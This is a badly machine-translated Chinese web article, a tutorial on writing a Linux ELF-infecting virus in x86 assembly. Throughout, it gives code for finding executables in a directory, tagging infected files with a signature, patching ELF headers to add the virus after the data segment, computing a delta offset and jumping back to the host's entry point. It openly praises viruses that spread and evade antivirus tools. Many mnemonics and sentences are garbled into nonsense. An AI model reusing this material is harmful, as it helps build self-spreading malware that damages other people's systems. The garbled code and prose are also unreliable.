如何使用汇编语言编写一个病毒

怎样缀编语言缀编语言中病毒的缀编

作序

病毒写信的飞行器如同曾经逐渐消失了。。咱们不意思是歹意软件。,木马计,蠕虫等变成病毒。。你可以运用随便哪一任一某一和睦的的手稿次语言去调解那些的渣滓次并且拍着本人的背后嘚瑟一下,但这不谢克不及让你变成病毒作者。。调解计算机病毒不谢尽然是你警告的残害。,这也安心你的病毒繁衍的电平和戒除被检测到的电平。,它也比防病毒软件公司更聪明的。。它是对举行就职典礼和心灵手巧的。。计算机病毒在很多副的就像纸质水平。。你精华的用聪明的和才思的办法彻底落空水平。,并冲击使它在不可戒除的着陆前尽量久长的派系。在万维网过去的,繁衍病毒是一任一某一挑动。。时运好的话,它会传染除你在更远处的随便哪一任一某一电脑。。免得时运胜过,你的病毒将与击打病毒或Michelangelo viru有俱的宣传效用。。

免得你想被乐事病毒作者,你只得接见为了的次。。地表上面的黑客棉纸,黑客/黑客/闯入者,我最名声的是病毒作者。。因没某人能做到。,这真的能声明他比旁人更深。、零碎和软件知。你不克不及前景变成一任一某一复杂的病毒著作家遵照规矩。。调解一任一某一真正的病毒精华的比普通黑客更多的熟练。。积年嗣后,我没能调解一任一某一运转良好的二元系发稿来传染病毒。。无不不好的。、报错、报错。这是一件参加使愁苦的事实。。因而我坚决地宣告写暴突或变大。、金衡制炸弹和ANSI炸弹。我坚决地宣告写BBS缺陷。,还可以有加无已录像游玩软件打击版权防护装置。。随时依我看我的缀编技术终极就十足了。,当冲击写病毒时,,落空再次降临到头上在我的脸上。。我花了好几年的时期才写出了一任一某一真正可以通行的的病毒。。这执意为什么我被病毒迷住了,想找出相当多的真正的病毒。。在瑞安“elfmaster”奥尼尔演义的书《努力赶上Linux二元系次辨析》中,他键:

这是一任一某一超越判定课程规矩的重要人物挑动物品。,它问开发人员跳出惯例方法。,成套器械代码、履历和机遇使它在一种电平上体现摆脱。,当与AV防病毒软件开发人员书信时,令我犹豫的是,,他们同意没某人对怎样有加无已病毒有随便哪一任一某一思想。,更不消说设计随便哪一任一某一真正的试探意见法来鉴定它们(要找错误署名)。实则,病毒写信是与众不一样的难事的。,精华的基准严密的的熟练。。

缀编语言缀编语言中病毒的缀编

病毒是一门飞行器。。缀编和C(不运用代码库)将是你的画笔。。赠送,我会扶助你们处置我对照的相当多的挑动。。开端吧。,看一眼你能否有变成飞行器家的潜力。!

在不一样我先前的源代码传染病毒一道菜。,这是一任一某一更上进和负有挑动性的亲身经历/专心致志(平坦的是E)。。虽然,我振作起来你尽量多地读懂和吸取。。

让咱们先来描绘一下我的思想。、真正的病毒得具有相当多的特点。:

病毒会传染二元系可使生效发稿。

——病毒代码只得是孤独的,它与其他的发稿顾虑。、代码库、次等。

受传染的男教师发稿可以持续使生效和播送病毒。

病毒像除虱子相等地不残害做东道主发稿。。传染的做东道主得持续体现,仿佛它们被传染了相等地。

因咱们想传染二元系可使生效发稿。,像这样,短文引见了不一样的可使生效典型。。

  • ELF-(可使生效和挽住的发稿格式)Unix和类Unix零碎基准的的二元系发稿格式。这同样很多蜂窝式便携无线电话机。,游玩玩家(游玩站),任天堂)附加的人。。
  • machine 机器o -(machine 机器客体)是NeXTSTEP,macOS,IOS等,二元系可使生效发稿格式运用,你竟是在运用它。,因一切的苹果蜂窝式便携无线电话机都在嗨。。
  • 32位和64位微软手术的PE(可除去可使生效次)
  • MZ(DOS) DOS支撑的可使生效发稿格式…一切的微软32和以下手术零碎被运用。
  • COM(DOS) DOS支撑的可使生效发稿格式…一切的微零碎在32和以下手术零碎下运转。

有很多微软病毒一道菜。,虽然ELF病毒如同更具挑动性,并且一道菜少许。,因而我最关怀的是32个ELF物品的传染。。

依我看审稿人无论如何有一种惯例的遏制。。免得心不在焉,我提议你读懂我先前的视频博客文字。:

Stupid Simple Computer Virus in 3 Lines of Code

How to Create a Computer Virus

How to Make a Simple Computer Virus with Python

要素步是找到要被传染的发稿。。DOS通知集简单明了找到发稿。。AH:4Eh INT 21通知可以依据考虑到的发稿找到要素任一某一婚配发稿。,和啊:4FH INT 21,你可以找到下一任一某一婚配发稿。。三灾八难的是,对咱们来说,事实不能的这么大的复杂。。运用Linux次集检索发稿列表,这找错误很多相互关系的发稿。。多数的各自的答复中咱们发觉它依赖于POSIX零碎的readdir()行使职责。但咱们是黑客。,非常的?让咱们做黑客得做什么来意识到它。。你得熟习的器是Strues。。跑步机 ls,当运转ls命令时,咱们警告,零碎转让和导火线随球。

AH:4Eh INT 21通知

你感兴趣的电话机是GET。。因而下一步是寻觅Geress。。这会给咱们短距离暗示。,咱们得怎样运用它,于是怎样接见登记的列表。。这执意我发觉的。:

  1. 电动摩托车, 5      ; sys_open 
  2. MOV EBX,发稿夹;登记名。
  3. MOV ECX, 0 
  4. MOV-EDX, 0 
  5.     int 80h 
  6. 化学作用机械抛光,0、反省EAX打中FD能否为>0(ok)
  7. JBE不好;无法翻开发稿,不好自由的
  8. MOV EBX, eax     
  9.     电动摩托车, 0xdc   ; sys_getdents64  
  10. MOV ECX, buffer  
  11. MOV-EDX, len  
  12.     int 80h  
  13.     电动摩托车,6;停工
  14.     int 80h 

现时,登记的实质曾经在咱们指定的的丰盛的中。,咱们只得辨析它。。出于一种引起,助动词=have每个发稿名,如同心不在焉划一的偏移量。,但或许我错了。。但我只对那些的原始的字母行决定感兴趣。。我所做的是捣碎丰盛的到基准出口。,后来地将其拿住到另一任一某一发稿。,后来地运用十六二元系校订者翻开它。。我发觉每一任一某一发稿名都有一任一某一前缀。,前缀由十六点二元系值0x00(NULL)结合,后头是一任一某一六重奏。。发稿名由NULL中断(后缀是十六二元系0x00)。

  1. find_filename_start: 
  2. 在发稿名开端过去的查找序列0008。
  3. 添加EDI, 1 
  4. CMP EDI, len  
  5. 杰吉德
  6. CMP八位字节[丰盛的 EDI], 0x00  
  7.     jnz find_filename_start  
  8. 添加EDI, 1 
  9. CMP八位字节[丰盛的 EDI], 0x08  
  10.     jnz find_filename_start  
  11. 异或ECX,ECX空。,它将作为发稿被底片。
  12. find_filename_end: 
  13. 排空ECX,它将作为发稿被底片。
  14. 添加EDI, 1  
  15. CMP EDI, len     
  16. 杰吉德
  17. 痣BL,[丰盛的 EDI];从丰盛的酒发稿名切断。
  18.     mov [file+ecx], bl  
  19.     inc ecx                 ; 放拿住在ecx的偏移量 
  20. CMP八位字节[丰盛的 EDI],0x00;表现发稿名的结局。
  21.     jnz find_filename_end 
  22. MOV八位字节[发稿 ECX ],0x00;在嗨,咱们接见发稿的决定。,在它的尾上加一任一某一0x00。
  23. 对这样地发稿做相当多的手术。
  24.     jmp find_filename_start ; 找下一任一某一发稿 

其实有胜过的办法来做这些事实。。您精华的做的是婚配登记条对准八位字节体系结构。:

  1. struct linux_dirent { 
  2.                unsigned long  d_ino;     /* Inode number */ 
  3.                unsigned long  d_off;      /* 下一任一某一linux_dirent的偏移 */ 
  4.                unsigned short d_reclen;  /* 这样地linux_dirent的时间的长短 */ 
  5.                char           d_name[];  /* 发稿名 (null结局) */ 
  6.                                  /* length is actually (d_reclen - 2 - 
  7.                                     offsetof(struct linux_dirent, d_name)) */ 
  8.                /* 
  9.                char           pad;       // Zero padding byte 
  10.                char           d_type;    // File type (only since Linux 
  11.                                          // ); offset is (d_reclen - 1) 
  12.                */ 
  13.            } 
  14. struct linux_dirent64 { 
  15.                ino64_t        d_ino;    /* 64位inode number */ 
  16.                off64_t        d_off;    /* 64位下个structure的偏移 */ 
  17.                unsigned short d_reclen; /* 这样地dirent的时间的长短 */ 
  18.                unsigned char  d_type;   /* 发稿典型 */ 
  19.                char           d_name[]; /*发稿名 (null结局) */ 
  20.            }; 

但我运用的是我发觉的方法。,它不运用体系结构打中偏移量。。

下一步是反省发稿。,看一眼能否:

这是一任一某一ELF可使生效发稿。

它被传染了吗?

早点儿时分,我为不一样的手术引入了不一样典型的可使生效发稿。。这些发稿典型在它们的发稿头上有不一样的当心。。像,ELF发稿无不因为7F45 4c46开端。45-4c-46是ASCII字母E-L-F的施魔法于表现。

免得转储Windows可使生效发稿,则有十六点二元系履历,你会警告它从4D5A开端。,代表字母Z。

十六二元系转储OSX可使生效发稿显示加标签于八位字节CEFA。 EDFE,这同样一任一某一小的饲料。 FACE”。

在嗨你可以警告更多的可使生效发稿格式和它们各自的印记。:

0edd1e00

在我的病毒里,我以为把我的印记写在ELF发稿第九的头上 – 12八位字节在未运用的产地。这是个好产地。,它可以用来存储器一任一某一双字0EDD1E00-我的名字。。

我精华的这样地来印记我传染的发稿。,像这样,我不能的再次传染受传染的发稿。。用以表示威胁,传染发稿的时间的长短将越来越大,如SoNB。,高音部发觉了耶路撒冷病毒。。

复杂地读取前12个八位字节。,咱们能确保发稿是一任一某一上等的的传染目的吗?。我打算把每个潜在的目的存储器在一任一某一独立的丰盛的中。,称之为目的。。

现时它开端说服越来越难了。。为了传染ELF发稿,你精华的认识顾虑ELF发稿体系结构的一切的。。这是努力赶上的好没某个。:。

相异的复杂的COM发稿,ELF有相当多的不一样的挑动。。复杂来说,ELF发稿遏制:ELF头,次头,节头,命令手术码。

ELF名称牌告知咱们对次头和HEA的通知。。它还告知咱们次引进点在内存打中驻扎军队(FI)。

这样地条告知咱们。,哪个举行属于课文段?,哪个举行属于履历段?,也预备了发稿打中偏移量。。

该节提出了对每个款待和他们的举行的通知。。这可以自然啦杂乱。。率先要遏制的是,一任一某一可使生效发稿与D不一样。,这些头在这两个副的预备了相互关系的通知。。

课文段是可被读取/使生效的代码段。,它遏制咱们的代码和其他的只读履历。。

履历段是可读/写的履历段。,它遏制对全程变量和静态挽住的通知。。

在课文段中,有A课文切断和A RODATA切断。。举行履历,有A切断和BSS切断。。

免得你熟习缀编语言缀编语言,这些章节决定使响得很熟习。。

课文是代码驻留的产地。,履历是全程变量设定初值的产地。。BSS遏制未设定初值的全程变量。,因它心不在焉设定初值。,因而心不在焉任职磁盘空虚的。。

相异的PE发稿(微软),ELF发稿中心不在焉这样的传染区域。。过时DOS、COM发稿将近容许你在随便哪一任一某一产地添加病毒代码,后来地在100 这样地地址营养体生长了内存代码(因COM发稿无不在100)。 H的内存地址开端映照。。ELF发稿不容许您调解课文段。。这些是传染ELF病毒的首要道路。:

受传染课文段使充满区

课文分岔的传染燕尾服。咱们可以使用ELF发稿的特点。,当装货到内存中,燕尾服将运用0使充满到到达结尾的的内存页中。。内存页长限度局限,因而咱们只在32位零碎中调节眼球的晶状体一任一某一4。 KB病毒或64位零碎打中2位。 MB病毒。可以发表很小。,但它也足以调节眼球的晶状体用C或缀编调解的小病毒。。这一目的的意识到是:

修正引进点(ELF头)到课文切断的末了。

放表中页的时间的长短(精灵头)

——放Text段的发稿时间的长短和内存时间的长短为病毒代码的时间的长短

在病毒被寄生后遍历每个次头。,依据重要事件时间的长短放符合的的偏移量。

查找课文段的终于一节。,放结(头)的时间的长短

传染后横贯病毒的每一切的断。,依据重要事件时间的长短放符合的的偏移量。

——在.text节的燕尾服拔出实践的病毒代码

——拔出病毒代码后悄悄溜走到原始男教师的引进点。使生效

课文分岔的反向传染

在容许男教师代码的同时,课文切断的早期受到传染。。咱们将在相反的用法说明拉长说课文段。。指印刷中所用的一种字体Linux零碎中容许的最小编造的映照地址为0x100。,这是咱们可以反向拉长说课文段的限度局限时间的长短。。浅谈64位制,默许课文段编造的地址通常为0x4000。,在ELF头时间的长短为RE晚年的,可以保存0x3FF000的一定尺寸的。。浅谈32位制,默许课文段编造的地址通常为0x08048。,这可以会产生更多的病毒。。意识到这一目的的办法是:

——放节表(在ELF头)里的偏移为病毒时间的长短(对下一内存页转让值取余)

课文段次头,由于时间的长短的编造的地址(和物理地址)缩减

课文段次头,依据病毒时间的长短放发稿时间的长短和内存时间的长短

依据病毒的时间的长短(再次),遍历每个次头的偏移量,将其值放到课文段完毕。

——修正引进点(在ELF头)到原始的text段编造的地址——病毒的时间的长短(再次取余)

依据病毒的时间的长短(再次),放次头偏移(在ELF名称牌上)

将病毒实质拔出课文段的动身

履历段传染

传染履历段。咱们将把病毒代码附加到data段(在.bss节过去的)。因它是履历的一切的断。,咱们的病毒代码可以尽量的大,就像咱们祝福的这么。。履历存储器段履历具有R。 + W(读写)运转设置,课文内存有R。 + X(读取和使生效)运转设置。在心不在焉NX位设置的零碎中,像32位Linux零碎。,可以在不更改运转的养护下使生效举行履历打中代码。。不过,其他的零碎问您在内存段添加可使生效印记。。

依据病毒的时间的长短,放头部的偏移量

将引进点(在ELF头)修正为履历段的结局(V)

在履历段次头中,由于病毒时间的长短放重要事件时间的长短和内存时间的长短

放BSS切断的偏移量(安心VIR的时间的长短)

设置履历段的可使生效运转位(32位Linux零碎)。

将病毒实质拔出到履历段的末了

——拔出代码,悄悄溜走到原始男教师的引进点。

自然,有更多的方法被传染。,但这些都是要素选择。。以咱们为例,将采取前述的第三种办法。。

调解病毒的另一任一某一首要拒绝是变量。。梦想养护下,咱们不情愿兼并.DATA和BSS切断。。以及,一旦缀编或缀编病毒,无法使安全您的病毒前后成为俱编造的添加中。。实则,这将近来世不能的产生。,在这种养护下,男教师次会投错举行。。因而在梦想的养护下,您祝福将病毒限度局限在特定的的区域。:.text。免得你有编纂亲身经历,你认识这是一任一某一挑动。。我将和你分享相当多的熟练。,它得使追逐更轻易。。

率先,让咱们看一眼.data变量(设定初值)。免得可以的话,硬编码值。或许,万一我有我的.ASM代码。:

  1. 切断履历
  2. 发稿夹DB。, 0 
  3. 伦2048
  4. 丝裂霉素32
  5.     elfheader dd 0x464c457f     ; 0x7f454c46 ->反向八位字节次
  6.     signature dd 0x001edd0e     ; 0x0edd1e00 发动机的旋转八位字节序后的署名 
  7. BSS
  8.     filename: resb filenamelen  ; 目的发稿渠道 
  9.     buffer: resb len            ; 一切的的发稿名 
  10.     targets: resb len           ; 目的发稿名 
  11.     targetfile: resb len        ; 目的发稿实质 
  12. 课文切断
  13.     global v1_start 
  14. v1_start: 
  15. 你可以为了做: 
  16. 呼叫署名
  17.     dd 0x001edd0e     ; 0x0edd1e00发动机的旋转八位字节序后的署名 
  18. signature: 
  19. POP ECX;现时它的花费在ECX。

咱们正运用的是,转让转让通知时,呼叫的介绍通知的相对地址将被按下。。

像这样,咱们可以经过每个履历段打中变量来处置这样地成绩。。

对BSS切断打中变量(未设定初值),咱们精华的存储器一定数量的八位字节履历。。咱们在Text .Text中为了做,因它属于课文代码段。,其属性印记为R。 + X(读取和使生效),在该内存段中作曲履历是不容许的。。因而我决议运用堆栈。。栈?是的,一旦咱们将八位字节压入栈中,咱们可以警告堆栈协助并保存这些加标签于。。上面是我的处置方案的一任一某一事例。:

  1. 为未设定初值变量翻开堆栈存储量以戒除运用
  2. MOV ECX,2328;设置流通计数2328。x4=9312八位字节)。发稿名(ESP), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) 
  3. loop_bss: 
  4.     push 0x00       ; 压入4个八位字节(双字)的0 
  5. 子ECX,1;减一。
  6. 化学作用机械抛光ECX, 0 
  7.     jbe loop_bss 
  8. MOV EDI,ESP;ESP具有咱们意思是伪造的BSS偏移量。。让咱们把它存储器在EDI中。。 

当心,我曾经按下0x00八位字节(按32双压机),明确的地被期望注册的时间的长短。。明确的地说,咱们挤了2328下。。这将给咱们大概9312八位字节的空虚的运用。。一旦我完毕一切的0八位字节栈,存储器ESP的值(即,咱们的堆栈协助),并把它作为咱们自由锻造的BSS的根底。。我可以援用ESP。 提问不一样的变量。在我的事例中,我拿住的[ESP]对应于发稿名。,科特雷耳电集尘器 + 32)对应于丰盛的。,科特雷耳电集尘器 + 1056)对应于目的。,于是科特雷耳电集尘器 + 2080]对应targetfile。

现时我可以完整用力打.DATA和.BSS切断的运用。,整个的病毒由专有的的课文切断引起。!

Read是一任一某一与众不一样的使对某人有利的器。。运转readelf A[发稿]将预备ELF头/次头/头的相当多的特殊性。:

嗨有三个切断。:.text、.data、.bss

text节

在嗨,咱们消要找错误BSS切断。:

消要找错误.bss节

在嗨,咱们曾经完整消要找错误履历段。。咱们可以运用.text切断孤独地完毕一切的的事实。!

完整消要找错误.data段

现时咱们精华的从男教师发稿读取八位字节履历到丰盛的。,对头部举行精华的的修正。,喷湿病毒当心物。。免得您曾经完毕了登记章体系结构的作业,这对你有使受益。。用以表示威胁,咱们将不得不读取一任一某一八位字节到一任一某一八位字节的发稿。,直到零碎读取EAX的0循环。 X00的呼叫,这蠲咱们曾经到达了EOF。:

  1. reading_loop: 
  2.     电动摩托车, 3              ; sys_read 
  3. MOV-EDX,1;一次读取一任一某一八位字节(是),我认识这可以是最好的。
  4.     int 80h  
  5. 化学作用机械抛光,0;免得循环0,咱们读了顾虑EOF的文字。
  6.     je reading_eof 
  7.     电动摩托车, edi  
  8. 添加EAX, 9312          ; 2080 + 7232 (2080 targetfile在咱们伪造 .bss的偏移) 
  9. 化学作用机械抛光ECX,免得发稿超越7232八位字节, 自由的 
  10. JGE传染
  11. 添加ECX, 1 
  12.     jmp reading_loop 
  13. reading_eof: 
  14.     push ecx                ;拿住终于读取的一任一某一八位字节的地址,咱们嗣后精华的。
  15.     电动摩托车,6;停工发稿。
  16.     int 80h 

修正丰盛的与众不一样的复杂。。识记,当非常好的随便哪一任一某一八位字节时,只得处置反向八位字节次(小八位字节)。。

嗨咱们流入病毒印记并时装引进点指示方向咱们在履历段燕尾服的病毒代码。(内存中未被发稿时间的长短营养体生长的BSS任职的空虚的):

  1. MOV EBX, dword [edi+2080+eax+8]     ; phdr->Vaddr(内存编造的地址)
  2. 添加EBX,新的引进点= PHDR [履历]>VADDR P[履历]>filesz 
  3. MOV ECX, 0x001edd0e     ; 在8八位字节处拔出咱们的当心(ELF头心不在焉用到的节) 
  4. mov [edi+2080+8], ecx 
  5. mov [edi+2080+24],用病毒(丰盛的)营养体生长旧的引进点

当心到我以为存储器0xedd1e00(用施魔法于使具有特点调解的我的名字)的病毒印记,虽然反向八位字节次预备了0x01ED00E。。

你也会当心到,我运用调动算法找到栈的根源区域领导T。

现时咱们精华的驻扎军队履历次并举行相当多的修正。。巧妙手法是率先找到PTHLoad典型。,后来地决定偏移找错误0吗?。免得偏移量为0,它是一任一某一课文次头。。用以表示威胁,这是履历。。

  1. section_header_loop: 
  2. BSS切断经过节头(NoBIT)的流通搜索
  3.    
  4. 0 SyName遏制指示方向考虑到节的决定字母行的协助。
  5. 4 SHI-型考虑到切断典型〔节名〕
  6. 8个当心其他的当心
  7. 编造的地址
  8. 10发稿偏移量的SH偏移切断
  9.     ;+14    sh_size zara white phone numba 
  10. 18部门挽住的SHILLink
  11. 1C SHIFIN依据切断典型
  12. 20方位转让
  13.     ;+24    sh_entsize  当节遏制集中时间的长短的引进时被运用 
  14. 添加斧, word [edi+2080+46] 
  15. 化学作用机械抛光ECX, 0 
  16.     jbe finish_infection        ; 未发现.bss节。不消焦急的。,传染可以完毕。
  17. 子ECX,1;减一。
  18.    
  19. MOV EBX, dword [edi+2080+eax+4]     ; shdr->典型(做切片典型)
  20. CMP EBX, 0x00000008         ; 0x08是 NOBITS,区间BSS键
  21.     jne section_header_loop     ; 找错误.bss节 
  22.    
  23. MOV EBX, dword [edi+2080+eax+12]    ; shdr->内存编造的地址
  24.     添加EBX, v_stop - v_start   ; 放咱们病毒的时间的长短给 shdr->addr 
  25.     添加EBX,7;为了跳到没某个。
  26.     mov [edi+2080+eax+12],运用新的旧SHDR营养体生长。>(丰盛的)
  27.    
  28. MOV-EDX, dword [edi+2080+eax+16]    ; shdr->偏移(做切片偏移)
  29. 添加EDX, v_stop - v_start   ; 放咱们病毒的时间的长短给shdr->offset 
  30. 添加EDX,7;为了跳到没某个。
  31.     mov [edi+2080+eax+16],EDX;运用新的旧SHDR营养体生长。>偏移量(在丰盛的)

咱们还精华的修正.bSS名称牌。。咱们可以反省mark NOBITS典型来判别这能否是结节头。。杂交建造的生物体头不尽然精华的运转可使生效发稿。。因而免得咱们未发现它,没什么认真的的。,咱们依然可以持续。:

  1. ;dword [edi+2080+24]       ; ehdr->引进(引进点的编造的地址)
  2. ;dword [edi+2080+28]       ; ehdr->Phoff(低价条头)
  3. ;dword [edi+2080+32]       ; ehdr->Shoff(球形把手偏移)
  4. ;word [edi+2080+40]        ; ehdr->Ehsize(精灵头时间的长短)
  5. ;word [edi+2080+42]        ; ehdr->PHEnthScript(次头的引进时间的长短)
  6. ;word [edi+2080+44]        ; ehdr->Phnum(次头衔的项的数量)
  7. ;word [edi+2080+46]        ; ehdr->Shentsize(头项时间的长短)
  8. ;word [edi+2080+48]        ; ehdr->Shnum(次头衔的项的数量)
  9. 电动摩托车, v_stop - v_start       ; 咱们病毒的时间的长短减去到原始引进点的悄悄溜走 
  10. 添加EAX, 7                      ; 为了到原始引进点的悄悄溜走 
  11. MOV EBX,dWord〔EDI 2080+32〕;起形成作用的人的兼备偏移。
  12. 添加EAX, ebx                    ; 放原始节头偏移 
  13. mov [edi+2080+32],运用旧的SHDR营养体生长。>偏移量(在丰盛的)

后来地,自然,咱们精华的修正头部偏移量来修正ELF头。,因咱们传染了履历段的底部的(在BSS过去的)。次头留在心中在俱的驻扎军队。:

  1. ;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point) 
  2. ;dword [edi+2080+28]       ; ehdr->PHOFF(次头偏移)
  3. ;dword [edi+2080+32]       ; ehdr->SHIFF(节头偏移)
  4. ;word [edi+2080+40]        ; ehdr->EHGE(ELF名称牌一定尺寸的)
  5. ;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry) 
  6. ;word [edi+2080+44]        ; ehdr->phnum (number of program header entries) 
  7. ;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry) 
  8. ;word [edi+2080+48]        ; ehdr->shnum (number of program header entries) 
  9. 电动摩托车, v_stop - v_start       ; size of our virus minus the jump to original entry point 
  10. 添加EAX, 7                      ; for the jmp to original entry point 
  11. MOV EBX, dword [edi+2080+32]    ; the original section header offset 
  12. 添加EAX, ebx                    ; add the original section header offset 
  13. mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer) 

终于一步是流入病毒的实质代码。,并完毕悄悄溜走通知循环男教师代码引进点。,为了咱们不知道的用户就会警告男教师次正规军运转。。

你可以会问本人这样地成绩是,病毒怎样上射式的本人的代码?病毒是怎样决定本人的时间的长短呢?这些都是上等的的成绩。率先,我用加标签于来印记病毒的开端和完毕。,后来地运用复杂的=mathematics偏移。:

  1. 课文切断
  2.     global v_start 
  3.    
  4. v_start: 
  5. 病毒体开端
  6. ... 
  7. ... 
  8. ... 
  9. ... 
  10. v_stop: 
  11. 病毒体底部的
  12.     电动摩托车, 1      ; sys_exit 
  13. MOV EBX,0;正规军状况。
  14.     int 80h 

经过为了做,我可以运用VYSTART作为病毒启动时的偏移量。,后来地,可以运用VYSTOT-VYSTART作为八位字节数(时间的长短)。。

  1. 电动摩托车, 4 
  2. MOV ECX,VXSTART;附加病毒切断。
  3. MOV-EDX,VY-START-VYSTART;病毒八位字节时间的长短
  4. int 80h 

病毒时间的长短(VY-终止) – 胜过的计算,虽然在要素次传染后病毒代码的动身(mov ecx, 援用将落空。。实则,对相对地址的随便哪一任一某一援用大城市落空。,因不一样男教师次的内存驻扎军队会产生掉换。。在缀编音延计算像VYSTART的加标签于的相对地址。,这安心它是怎地名称的。。你运用的正规军短跳就像JMP。、jne、jnz等都将被掉换为相助动词=have介绍通知的偏移,虽然像MOV为了的地址不能的时装。。咱们精华的的是希腊语字母表第四字母δ偏移。。Delta偏移量是与介绍男教师FIL的编造的地址差。。这么怎样接见delta偏移量呢?这有一任一某一我从90年终的DOS病毒一道菜“Dark Angel’s Phunky Virus 从导游那边学到的与众不一样的复杂的技术。:

  1. call delta_offset 
  2. lta_offset: 
  3. 极为盛行的脑出血
  4. 亚EBP, delta_offset 

在介绍驻扎军队转让加标签于,介绍通知的协助(相对地址)就会被压入栈以实用的你可以认识你RET循环到哪里。咱们仅仅从堆栈中获取这样地值,后来地接见指示方向介绍INS的协助。。后来地从CurrE中减去原始病毒的相对地址。,咱们在EBP接见了希腊语字母表第四字母δ偏移。!在原始病毒的使生效追逐中,δ偏移量为0。。

你会当心到,为了戒除相当多的拒绝,咱们不要求机叫电话机。,反之亦然。我提议你不要在这样地物品越过这么大的做。,因很明显。,投下呼叫/ RET对将引起机能遗失。…但这不谢正规军。。

现时咱们有delta偏移量。,让咱们把VYSTART的援用掉换成delta偏移版本。:

  1. 电动摩托车, 4 
  2. 莱卡, [ebp + v_start]    ; 附加病毒切断 (用delta偏移计算) 
  3. MOV-EDX,病毒履历时间的长短
  4. int 80h 

请当心,我心不在焉在病毒中遏制零碎自由的转让。。这是因我不祝福病毒在使生效男教师过去的自由的。。相反,我用悄悄溜走到原始男教师的代码掉换这切断。。因不一样男教师次的引进点是不一样的。,我精华的静态地建造它,后来地我将最接近的拔出有议论余地的。。为了找出手术码,您只得率先懂JMP通知亲手的特点。。JMP通知将尝试经过计算。咱们只得赠送它相对的位。。我经过缀编一任一某一小次外面的JMP短悄悄溜走和JMP远悄悄溜走算出了它们的施魔法于手术码。JMP 手术代码从E9反而FF。

  1. MOV EBX, 0x08048080 
  2. JMP EBX
  3. jmp 0x08048080 

打包后,我运转XXD,后来地反省八位字节履历,认识怎样把它翻译成。

“xxd”后来地反省八位字节履历就认识怎样将它翻译成手术码

  1. pop edx                 ; 做东道主次的原始引进点 
  2. MOV[EDI], byte 0xb8        ; MOV EAX的手术码 (1 byte) 
  3. mov [edi+1],原始引进点(4八位字节)
  4. mov [edi+5], word 0xe0ff    ; JMP EAX手术码 (2 bytes) 

MOV双注册EAX终于表现为B8。 xx xx xx xx。JMP到注册EAX中存储器的地址终于表现为FF。 E0

总普通7个额定的八位字节被添加到病毒的底部的。。这也表明,咱们修正的每个偏移量和发稿时间的长短只得加到这样地额定的7八位字节中。。

因而我的病毒时装了丰盛的的头部(而找错误发稿),后来地用修正的丰盛的营养体生长做东道主发稿直到咱们病毒代码驻留的偏移驻扎军队。后来地拔出本人(VSTART),持续作曲缓冲八位字节的其余的切断。,终于,将控制权转变到原始男教师发稿。。

一旦我缀编病毒,我以为人工控制添加病毒印记在八号八位字节的病毒。。在我的养护下,这可以找错误精华的的。,因我的病毒会弹跳目的免得它心不在焉一任一某一DATA段的话,但养护并非无不那样地。。翻开你喜好的十六场地校订者并添加这些八位字节。!

现时咱们完毕了。,让咱们缀编和检验它。:nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e v_start -o virus.o

我录制了时间的长短检验录像。。我使响自然啦缺少热心。,仅仅因更深夜静了。,实则,我兴高采烈。。

既然你曾经看完了,嗨是我结束评论病毒代码的挽住。:

这是一种与众不一样的复杂的ELF传染病毒。。它也可以经过与众不一样的复杂的健康状态来改善。:

从ELF名称牌选取更多通知(32或64位)、可使生效发稿等。

在目的发稿丰盛的后分派发稿丰盛的。为什么?因当咱们增加targetfile丰盛的时就不再运用发稿丰盛的了,咱们可以附加赛发稿丰盛的以增加更大的目的发稿丰盛的。。

遍历登记,它也可以经过相当多的少量的复杂的健康状态来改善。:

少量的营养体生长咱们的轨道和胜过的潜入。

——编密码!

——时装特点

运用更难事的检测办法传染

好了,这执意你的整个设计作品情节。。

总结

经过读懂这篇文字,我祝福你也可以增加相当多的对探试法病毒检测知(而不精华的搜索特定的病毒特点)。或许这将是另一天的科目。。或许我会引见OSX病毒。…或许我会做相当多的恶行,陈列一任一某一诺迪斯病毒。。

[编制的提议]

【责任编制:

它不受控制的

TEL:(010)68476606】

点赞 0

发表评论

电子邮件地址不会被公开。 必填项已用*标注